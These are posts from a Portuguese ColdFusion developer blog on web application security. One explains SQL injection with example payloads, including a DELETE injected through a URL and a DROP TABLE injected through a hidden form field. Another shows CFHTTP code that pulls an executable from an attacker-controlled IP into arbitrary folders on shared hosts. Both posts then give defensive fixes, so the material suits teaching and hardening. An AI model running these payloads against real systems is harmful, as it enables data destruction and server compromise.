Eating ColdFusion…

Este aqui sou eu, com a cabeça quase explodindo de tanta coisa para fazer.

Estou testando o FCS MX e em breve terei uma webcam online para que os desocupados de plantão (incluindo alguns do meu escritório) possam me importunar remotamente.

Aguardem novidades por aqui, prometo postá-las!

SQL Injection – você está protegido?

Caríssimos(as), em primeiro lugar gostaria de pedir desculpas pela falta de posts neste último mês. Desculpas especialmente aos leitores assíduos que escreveram cobrando atualizações. Tive um mês extremamente corrido, com muitas obrigações a cumprir sem tempo de atualizar o blog – e tocar o CFUG-SP! – mas essa é uma outra história 😉. Espero que daqui até o fim do ano as coisas fiquem mais calmas e que eu possa postar mais vezes por aqui.

Dando continuidade aos posts sobre segurança em aplicações ColdFusion, tratarei de um assunto que não envolve apenas ColdFusion, mas toda e qualquer linguagem server-side (PHP, ASP, JSP, etc). Trata-se do SQL Injection. Se você já conhece esta vulnerabilidade, a leitura é válida pois esse tipo de discussão é rara na Internet brasileira. Mas se você nunca ouviu falar a leitura é obrigatória. Terminando-a provavelmente você terá que sentar a bunda na cadeira e rever quilômetros de código inseguro que você pode ter gerado. Procurarei ser o mais suscinto possível e atacar a questão de vez, com exemplos, sem muita enrolação e apresentações. Se você ainda ficar com alguma dúvida, sugiro que poste-a na lista CF-Brasil. Eu e muitos outros programadores CF terão prazer em ajudá-lo.

SQL Injection, literalmente falando, é o ato de “injetar” código SQL não esperado numa aplicação com fins não muito amigáveis. Apenas para esquentar: você já tentou acessar uma página dinâmica dessa forma:

EXEMPLO 1
http://www.site.com.br/produtos/produto?id=77;DELETE FROM produtos

Ou ainda criou um formulário deste tipo:

EXEMPLO 2
<FORM ACTION=”http://www.servidor_atacado.com/busca.cfm” METHOD=”post”>
<INPUT TYPE=”hidden” NAME=”string_busca” VALUE=”;DROP TABLE noticias”>
<INPUT TYPE=”submit”>
</FORM>

Ou ainda pior:

EXEMPLO 3
<FORM ACTION=”http://www.servidor_atacado.com/login/logar.cfm” METHOD=”post”>
<INPUT TYPE=”hidden” NAME=”username” VALUE=”qqcoisa”>
<INPUT TYPE=”hidden” NAME=”senha” VALUE=”;AND 1=1″>
<INPUT TYPE=”submit”>
</FORM>

Se não tentou, deveria fazê-lo em suas aplicações ColdFusion (ou qualquer outra linguagem) para ver se estas estão seguras.

Note a presença de códigos SQL “extras” na aplicação. Soa alguma coisa comum à SQL? Pois é exatamente isso. Na medida em que a aplicação usa a tag <CFQUERY> para acessar o banco de dados e o faz recebendo informações (via form, url, etc) do usuário, ela pode estar vulnerável. Veja o caso do exemplo 1, onde o arquivo “produto.cfm”, faz uma chamada ao BD da seguinte forma:

SELECT * FROM noticias
WHERE NoticiaID=#url.id#

Com a injeção de código SQL teríamos:

SELECT * FROM noticias
WHERE NoticiaID=77 ;
DELETE FROM noticias

Note o ponto-e-vírgula, que é o separador de comandos para o SQL Server e Access (se não me engano). Em outros bancos de dados você poderia usar simplesmente espaço, o sinal de mais (+), etc, basta consultar. Boom! Sua tabela de notícias foi para o limbo e ai de você se não tiver backup dela. Sem falar no tempo fora do ar até restabelecer todos os serviços…

Mas o problema não se limita à apagar tabelas e ficar fazendo esse tipo de brincadeira de criança (para não usar o termo lammer). Você já pensou em criar um usuário com previlégios de administrador no BD que mantém uma determinada aplicação? Sem apagar nada, sem esforço, conectar-se e roubar o que lhe importa. Pois isso também é possível. O SQL Server, por exemplo, possui uma série de procedures que são usadas para se criar usuários, alterar senhas, aumentar o nível de acesso de determinados usuários, entre tantas outras. Não vou entrar nestes detalhes pois esse não é o objetivo deste post, porém deixo um alerta: JAMAIS configure uma datasource usando uma conta com previlégios de administrador do BD (falarei mais a respeito abaixo).

As possibilidades de ataque e roubo de informações através da técnica de SQL Injection são inúmeras e o pior disso tudo: até os melhores programadores não conhecem tal vulnerabilidade.

Muito se discute sobre a segurança de um determinado sistema operacional, fala-se que o Linux é mais seguro que Windows, fala-se que o firewall XYZ analisa melhor pacotes, que a criptografia 128 bits é “quebrável”, que o site “DamnGood.com” está imune à ataques do tipo DDoS, blá, blá, blá, e esquece-se do fundamental: a aplicação. Sim, a aplicação… àquela que todos põe a mão, àquela que é acessível pela porta 80 do TCP/IP e que tem uma redundância de 100%…. Redundância de 100% para permitir que nenhum engraçadinho fique de fora da farra… ;o)

Agora a boa notícia: o SQL Injection é uma vulnerabilidade facilmente contornável com o simples e velho CÓDIGO SEGURO. Sim, pensar em segurança (como já disse), deve fazer parte da sua rotina de programação. Você deve ter a sensibilidade suficiente para saber que está lidando com uma parte de código importante que poderá ser burlada por alguém que conheça a lógica básica de programação ou até mesmo obtenha alguma informação previlegiada. Informação priveligiada? Ué, mas para obtê-la eu não preciso invadir os sistemas de outra maneira, mais “profissional”? Talvez conseguir uma senha no banco de dados para poder ver suas tabelas, obter acesso ao código fonte do “.cfm” para saber como está estruturada uma query que desejo atacar???

Néca de catibiriba, isso é muito fácil de se obter apenas fazendo a aplicação receber valores que ela não está esperando (e torcer para que o programador seja bem descuidado também). Veja um exemplo tolo (clique no link abaixo):

http://www2.sabesabe.com.br/sejaesp_todas_sabe.cfm?id_sequencial=

No exemplo acima podemos obter, literalmente “de bandeija”, toda a informação necessária para se efetuar um ataque do tipo SQL Injection. Aqui vemos o tipo de banco de dados usado, bloco SQL, nome de tabelas, nome de campos, etc, etc. Isso dá a deixa para eu contar qual é a regra número 1 para se safar de ataques SQL Injection (e tantos outros existentes):

1) Jamais deixe amostra os erros da sua aplicação! Deslige o debug info! Estes erros interessam somente à você e a ninguém mais, por isso trate de usar tratamento de erros ou então deixar o servidor CF fazer isso por você por meio do Site-wide Error Handler;

Na seqüência algumas outras (mais diretamente aplicadas ao ColdFusion). Veja e aprenda mais com as referências que dou no final do post.

2) Valide os dados que a sua aplicação recebe. A melhor maneira de se fazer isso é através do uso de stored procedures. Se não puder usar stored procedures ou seu uso não faça sentido, use a tag <CFQUERY> com segurança! O melhor é receber e passar para o BD os valores de strings pela tag <CFQUERYPARAM>. Veja o exemplo abaixo:

SELECT * FROM noticias
WHERE NoticiaID=<CFQUERYPARAM VALUE=”#url.id#” CFSQLTYPE=”CF_SQL_INTEGER”>

Isso inclusive aumenta a performance da sua query pois o CFServer já saberá de antemão qual é o tipo de dado a ser enviado ao BD.

3) Use um user específico para cada datasource que você tem nesse servidor. Eu costumo criar, para uma mesma aplicação/banco de dados, duas datasources distinas. Nas minhas aplicações de notícias, por exemplo, eu tenho sempre o user “noticias_reader” e o user “noticias_writer”. Um poderá (com base nas permissões de acesso do próprio DB) apenas ler e o outro ler e escrever. Dessa forma terei que me preocupar em validar apenas as queries que façam alterações e inserções no BD, já que qualquer operação de alteração ou deleção “forçada” na primeira datasource será negada pelo banco de dados. Em sites abertos ao público, temos tipicamente apenas operações de leitura de dados. Já a alteração/inserção ocorre em sistemas internos (os famosos “admins”), o que já elimina uma camada de vulnerabilidade. Mas mesmo assim SEMPRE VALIDE as entradas de dados da sua aplicação;

4) Jamais use uma conta com previlégios de administrador para conectar-se ao banco de dados (a conta sa do MSSQL, por exemplo). Além de tornar a sua aplicação/vulnerável, você poderá estar comprometendo TODO um sistema. O mesmo é válido para a “trusted connection”. Normalmente a conta usada nesse tipo de autenticação é a de Administador.

5) Para finalizar, a velha máxima: “Quando tudo mais falhar, tenha sempre um backup em mãos… ” ;o)

Abaixo segue alguns links interessantes sobre o assunto (agradeço pelos comentários de Rui Dias Quintino). Leia-os para se saber melhor. Lembre-se de que o seu pescoço – e o seu emprego por tabela – está em jogo em se tratando de segurança!!

O bom e velho Google e seus resultados maravilhosos…
Uma coletânea de 18 mil referências ao assunto.

Guesswork Plagues Web Hole Reporting
Uma das últimas vítimas de um ataque deste tipo. Resultado: acesso indevido à base de dados de clientes da Guess (incluindo 200.000 números de cartões de crédito).

SQL Injection Whitepaper – Spi Dynamics
Bastante completo. Para começar.

Advanced SQL Injection in SQl Server Applications
Direccionado apenas para o SQL Server, que como por esta altura já devem saber é uma aplicação extremamente sensível neste campo.

Guarding your Web Site against SQL Injection Attacks
Depois de ler os anteriores talvez este não acrescente muito. Fortemente ligado à plataforma Microsoft.

SQL Injection FAQ
Um FAQ bem resumido, para aqueles que não têm muito tempo.

OWASP – Open Web Application Security Project (Direct SQL Command Injection)
Um dos melhores sites a este nível. E sendo assim não podia deixar de mencionar este tipo de vulnerabilidades.

SQL Injection Walkthrough
Mais um que apanhei no SecurityTeam.

Pintando e bordando com o CFHTTP e CFPOP

Este post faz parte de uma seqüência de posts iniciada neste link.

Dando início à série, abordo o problema que considero o mais sério de todos. Sério principalmente por ser a mais simples forma de se aproveitar da falta de segurança da basic security. Estou falando das tags CFHTTP e CFPOP.

Uma pausa é necessária aqui: lembre-se de que isso só vale para ambientes compartilhados. Se você roda ou administra um servidor ColdFusion num servidor próprio ou da sua empresa, onde o acesso é controlado e você sabe exatamente quem usa o sistema, a basic security pode ser usada sem medo.

As duas tags em questão não são “desabilitáveis” via basic security e o grande problema com elas é o fato delas tornarem possível o upload de arquivos para o servidor em qualquer pasta (tal como C:winntsystem32, por exemplo). Lembre-se que na basic security não existem permissões de acesso a recursos (como pastas) definidas. Usando a basic security, o ColdFusion tem acesso a todo o servidor (desde que ele esteja rodando sob a conta “system”, default – mais abaixo falo sobre esse asunto, por enquanto admita que o ColdFusion tem acesso a todo o servidor).

A abordagem é semelhante para ambas as tags (com o CFPOP trabalhamos com arquivos anexados enviados via e-mail), porém vamos nos ater à CFHTTP por uma questão de praticidade.

O requisito mais básico e indispensável é que você necessariamente precisa ter uma conta de acesso no servidor vulnerável em questão. Isso significa abrir uma conta de hospedagem num provedor onde “as tags CFFILE, etc, etc, NÃO estão habiltadas no plano ColdFusion” ou mesmo usar uma daquelas gratuítas do CFM-Resources ou qualquer outro provedor de hospedagem ColdFusion que use basic security (no Brasil não conheço nenhum que não use, infelizmente). Isso porque você precisa poder rodar um script CFML que fará uma chamada CFHTTP do tipo GET. O código é simples e extremamente básico:

<CFHTTP
METHOD=”get”
URL=”http://www.qq_server.com.br/arquivo.exe”
PATH=”D:inetpubwwwrootpasta_qualquer”
FILE=”arquivo.exe”>

Simples não? Pois é, imagine que você pode disponibilizar um servidor web no seu próprio PC. O atributo URL ficaria com algo do tipo:

“http://200.202.204.113/arquivo_safado.exe” (200… é o IP do seu PC conectado à Internet).

O atributo PATH apontaria para a pasta onde fica a sua (ou de alguém) conta de hospedagem (usando uma função CGI você pode encontrar esta se o seu provedor não informar) ou mesmo qualquer outra pasta de interesse. A raiz do C:, por exemplo, poderia ser usada. O atributo FILE é meramente o nome que deverá ser dado ao arquivo sendo enviado. Isso vale para arquivos “executáveis” (ex: explorer.exe) e arquivos texto (ex: index.cfm). Existem uma série de nuances e pequenas coisas que você pode fazer que não merecem ser colocadas aqui (tais como se fazer o upload de um template .cfm “processável”) para outra pasta qualquer, etc, etc.

Um exemplo do que estou falando pode ser visto no famigerado servidor ColdFusion gratuíto “CFM-Resources“. Já adianto que eu não recomendo NEM UM POUCO à ninguém este serviço. Logo quando foi lançado, o CFM-Resources era tão furado quanto queijo suíço. Cansei de encher o saco do Pablo Varando sem que ele levasse muito a sério o que eu falava. Até o dia em que eu coloquei um tutorial sobre como se hackear o CFM-Resources nada mais nada menos que na home do site www.cfm-resources.com (isso é história para uma das reuniões do CFUG-SP)…

Veja aqui o template que criei que aproveita-se desta “feature” do CFM-Resources (e de tantos outros servidores compartilhados).

Também não recomendo os bobões de plantão a sairem por aí se metendo à besta para fazer sacanagens com outras pessoas, lembre-se de que os logs foram feitos justamente para estes (os bobos), portanto se você não sabe EXATAMENTE o que está fazendo, não saia por aí fazendo idiotices.

A solução para o problema? ADVANCED SECURITY e sandbox security! Assim, simples, sem delongas. É impressionante como alguns administradores de sistema não se preocupam com isso, talvez por incompetência, talvez por falta de tempo e conhecimento na plataforma ColdFusion…

Já vi algumas medidas “desesperadas” serem tomadas. Adianto que estas não adiantam em nada (assim como toda gambiarra). Alterar o usuário padrão que o serviço do ColdFusion usa é uma dessas. Porém isso não faz muito sentido, uma vez que necessariamente você terá que oferecer acesso à todas as pastas de clientes com esta conta. Você poderá proteger o seu sistema (pastas C:winnt e outras), porém grande parte do seu servidor (onde justamente se tem interesse de explorar) estará aberta do mesmo jeito. EXIJA DO SEU PROVEDOR DE HOSPEDAGEM O USO DE ADVANCED SECURITY!!!

E fique ligado nos próximos posts.

Já pensou em fazer seguro?

Sempre fui um sujeito fissurado por questões de segurança envolvendo aplicações web. Sou daqueles que gosta de se meter a besta e encontrar brechas e problemas causados por má programação ou até mesmo problemas de uma plataforma específica (furos de produtos). O hábito de pensar em segurança deve estar sempre presente quando estamos desenvolvendo qualquer pedaço de código que ficará exposto em um servidor de produção público – um website principalmente.

Este hábito obviamente se reflete nos meus servidores e nas minhas aplicações feitas em ColdFusion, que modéstia à parte são seguras (pelo menos eu creio que sim… :o).

Desde quando me considero “gente” na arquitetura CF, venho percebendo que pouquíssimas pessoas tomam o cuidado que deveriam ter. Cuidados estes que não são exclusividade do ColdFusion Server e da programação em CFML, mas em qualquer servidor/linguagem server-side tal como ASP, JSP, PHP, etc. Já encontrei diversos sites (nacionais e internacionais) com problemas de código inseguro e má configuração de servidor, incluindo alguns grandes como o da RIAA (aquela que fechou o Napster…) veja o meu post a respeito. Nos sites tupiniquins a coisa é pior… Já encontrei inúmeros sites também com problema, não vale a pena aqui dizer quais, porém adianto que em todos eles entrei em contato pessoalmente explicando o problema.

O foco da problemática está nos serviços de hospedagem compartilhada, no estilo DigiWeb, Fulano’s Net, etc, etc e tantas outras. Realmente me preocupa essa história de “as tags CFFILE, CFEXECUTE, blá, blá, estão desabilitadas no plano ColdFusion“. O provedor, na verdade quer dizer (só que usando outras palavras) com isso que: “nosso servidor ColdFusion não usa Advanced Security e não define nenhuma sandbox. Por isso mesmo somos um convite a clientes mau intencionados”. Ou seja, estão lá com o CFServer (muitas vezes a versão Professional) usando a “boa e velha” Basic Security, apenas desabilitando algumas tags sensíveis… Estão 100% seguros? Ledo engano… Para se ter um servidor ColdFusion em ambiente compartilhado, você deve usar a versão ColdFusion Server Enterprise e Advanced Security e saber como tornar o seu servidor seguro num ambiente onde outras pessoas (seus clientes) estarão colocando arquivos. Usar o ColdFusion com a basic security em um servidor compartilhado significa oferecer, de mão beijada, uma verdadeira ferramenta de invasões e de outras sacanagens virtuais.

Como configurar e usar estes recursos de segurança do ColdFusion está fora do escopo destes posts. Para isso existem diversas fontes de informação, a começar pelo MM Desdev (link ao lado). Dessa maneira tentarei, numa seqüência de posts, disponibilizar algumas informações sobre alguns pequenos problemas que existem no ColdFusion Server rodando em basic security e também os erros mais comuns de programação que levam à sua aplicação dar boas vindas a essas pragas chamadas “crackers”, “lammers” e outros idiotas de plantão. Fique ligado.